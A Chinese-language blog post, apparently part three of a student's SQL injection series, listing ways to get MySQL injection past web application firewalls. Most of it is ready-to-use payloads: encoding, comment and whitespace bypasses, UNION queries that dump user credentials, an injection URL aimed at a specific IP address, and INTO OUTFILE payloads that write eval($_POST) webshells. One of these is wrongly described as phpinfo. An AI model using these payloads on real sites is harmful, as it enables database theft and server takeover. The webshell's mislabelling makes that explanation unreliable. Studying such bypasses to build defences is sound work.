SQL注入回顧篇(三)

前言

憶往昔,崢嶸歲月稠!大學已經到了大三了,打了很多比賽,回顧還是挺欣慰!此係列來由是想留一點東西,把所學知識整理一下,同時也是受github上Micro8分享的啓發,故想做一些工作,以留後人蔘考,歷時兩個星期,第一系列SQL注入回顧篇出爐!內容分四節發佈,其中SQL注入代碼審計爲兩節,WAF繞過總結爲1節,SQLMAP使用總結爲1節!此爲SQL注入代碼審計第二部分。歡迎各位斧正,交流!

簡介

SQL注入就是web應用程序對用戶輸入數據的合法性沒有判斷,前端傳入後端的參數是攻擊者可控的,並且參數帶入數據庫查詢攻擊者可以通過構造不同的sql語句來實現對數據庫的任意操作。

Sql注入的產生需要滿足以下兩個條件:

  1. 參數用戶可控:前端傳給後端的參數內容是用戶可以控制的。
  2. 參數帶入數據庫查詢:傳入的參數拼接到sql語句中,且帶入數據庫查詢。

當傳入的參數ID爲1’時,數據庫執行的代碼如下所示。

Select * from users where id=1

這個語句不符合數據庫語法規範,所以會報錯。當傳入的參數爲and 1=1時,執行的sql語句如下所示

Select * from users where id=1 and 1=1

因爲1=1爲真,且where語句中的id=1也爲真,所以頁面會返回與id=1相同的結果。當傳入的id參數爲and 1=2時,此時sql語句恆爲假,所以服務器會返回與id=1不同的結果

在實際環境中,sql注入會導致數據庫的數據泄露,在安全配置不當的情況下還可能會被攻擊者拿到系統權限,進行文件的讀寫操作等。

普通的注入審計,可以通過$_GET,$_POST等傳參追蹤數據庫操作,也可以通過select , delete , update,insert 數據庫操作語句反追蹤傳參。

Mysql注入相關知識點

  1. 在Mysql 5.0版本之後,Mysql默認在數據庫中存放一個”information_shcema”的數據庫,在該庫中,讀者需要記住三個表名,分別是SCHEMATA,TABLESCOLUMNS。分存儲該用戶創建的所有數據庫的庫名,庫名和表名,庫名和表名,字段名。

  2. Limit的用法:使用格式爲limit m,n,其中m是指記錄開始的位置,從0開始,表示第一條記錄:n是指取n條記錄。例如limit 0,1表示從第一條記錄開始,取一條記錄。

  3. 需要記住的幾個函數

    • database():當前網站使用的數據庫。
    • version():當前MYSQL的版本。
    • user():當前MySQL的用戶。
  4. 註釋符

    在MYSQL中,常見的註釋符的表達式爲:#--空格/**/

    ,//,-- , --+,,%00,--a,-- -,
    ;%00。

  5. 內聯註釋

    內聯註釋的形式:/*!code */。內聯註釋可以用於整個SQL語句中用來執行我們的SQL語句,

    舉個栗子:

    Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
  6. MYSQL對大小寫不敏感,所以存在大小繞過。


Waf Bybass 總結

大小寫繞過注入

當關鍵詞被過濾的時候可以使用關鍵字大小寫繞過,如And 1=1(任意字母大小寫都可以,如aNd 1=1,AND 1=1等)


雙寫繞過注入

栗子:

and -> anandd, or -> oorr

編碼繞過注入

栗子:and進行兩次url全編碼的結果%25%36%31%25%36%65%25%36%34
編碼網址: http://www.jsons.cn/urlcode/
在這裏插入圖片描述
栗子2:

union select null,null,null from null

一次url編碼的結果爲
在這裏插入圖片描述

  • ASCII 編碼繞過
select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web88/login.php'

char函數內的內容爲<?php phpinfo()?>char()函數是轉換ascii碼的,正因如此,也可以使用這個特性來繞過htmlspecialchars()函數。

  • 16進制編碼繞過
    可以使用hex繞過htmlspecialchars()函數從而寫入webshell。
    栗子:
select c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e into outfile '/web66/login.php'
  • html實體字符編碼
    SELECT FROM Users WHERE username = &#39;admin&#39;
空格過濾繞過

+,/**/,雙重空格,回車換行符(%0a,%a0),寬字節(%df),圓括號,%09,%0a,%0b,%0c,%0d,(tap鍵上面的按鈕),tap
栗子1:

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

栗子2:

?id=1/*comment*/and/**/1=1/**/--

栗子3:

?id=(1)and(1)=(1)--

表名等關鍵字被過濾

information_schema.tables爲例

  • 空格 information_schema . tables
  • 着重號 information</em>schema.tables
  • 特殊符 /!informationschema.tables/
  • 別名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)

內聯註釋繞過

栗子:

id=1 /*!and*/ 1=1

繞過and、or等過濾
&&,||,%26%26,大小寫,雙寫關鍵字(anandd,andand),編碼,

栗子:

AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, not < and not >,RLIKE
> X   -> not between 0 and X
WHERE -> HAVING
XOR  ->| #
NOT -> !
id=2 -> id > 1 and id < 3
ID=1 ->!(ID <> 1)

00%截斷繞過關鍵字

示例:http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%23


逗號過濾繞過
LIMIT 0,1  -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4  -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
SUBSTR('KAIBRO',1,1) => SUBSTR('KAIBRO' FROM 1 FOR 1)

過濾大於小於號繞過
  • greatest(n1,n2,n3…)返回n中的最大值 !
    在這裏插入圖片描述
  • least(n1,n2,n3…):返回n中的最小值
  • strcmp(str1,str2):若所有的字符串均相同,則返回STRCMP(),若根據當前分類次序,第一個參數小於第二個,則返回 -1,其它情況返回 1
    在這裏插入圖片描述
  • in關鍵字
    在這裏插入圖片描述
  • between a and b:範圍在a-b之間
    在這裏插入圖片描述
引號繞過
  • 16進制編碼
select column_name  from information_schema.tables where table_name=0x7573657273;
  • 寬字節
    web應用使用的字符集爲GBK時,並且過濾了引號,就可以試試寬字節
%bf%27 %df%27 %aa%27
%df\’ = %df%5c%27=縗’

過濾函數繞過
sleep() -->benchmark()
ascii()>hex()bin()
group_concat()>concat_ws()
substr(),substring(),mid()可以相互取代, 取子串的函數還有left(),right()
user() --> @@user、datadir–>@@datadir
ord()>ascii():這兩個函數在處理英文時效果一樣,但是處理中文等時不一致。

MD5注入繞過
$sql = "SELECT * FROM admin WHERE pass ='".md5($password,true)."'";

md5($password,true)將MD5值轉化爲了十六進制
思路比較明確,當md5後的hex轉換成字符串後,如果包含 ‘or’ 這樣的字符串,
那整個sql變成

`SELECT * FROM admin WHERE pass = ''or'xxx'

md5("ffifdyop", true) = 'or'6�]��!r,��b,提供一個字符串
在這裏插入圖片描述
ffifdyop, md5後,276f722736c95d99e921722cf9ed621c
構造:?password=ffifdyop


With rollup繞過
 'group by pwd with rollup limit 1 offset 1#

參考博客: https://blog.csdn.net/JBlock/article/details/83311753


sql閉合繞過

當代碼中id 參數進行了 “” 和 () 包裝。所以我們再用這樣的代碼來進行注入,或者是‘’包裹。

$sql="SELECT*  FROM users WHERE id=(“$id”) LIMIT0,1"$sql="SELECT* FROM users WHEREid=('$id') LIMIT0,1";
?id=1)--+
id=1)--+

測試

)or1=(1)or1=1--+
')or'1'=('1'
)or1=1--+
id=-1") union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+
id=-1') union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+

結語

本次分享是SQL注入的一些WAF繞過姿勢,當然姿勢之下,各種騷姿勢都有,單憑一篇文章,很難總結完全,實際上也不可能,只能把本人收集的姿勢羅列出來,供大家參考,交流!如對本系列其它文章感興趣,請移步->
傳送門:
SQL注入回顧篇(一)
SQL注入回顧篇(二)
SQL注入回顧篇(四)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章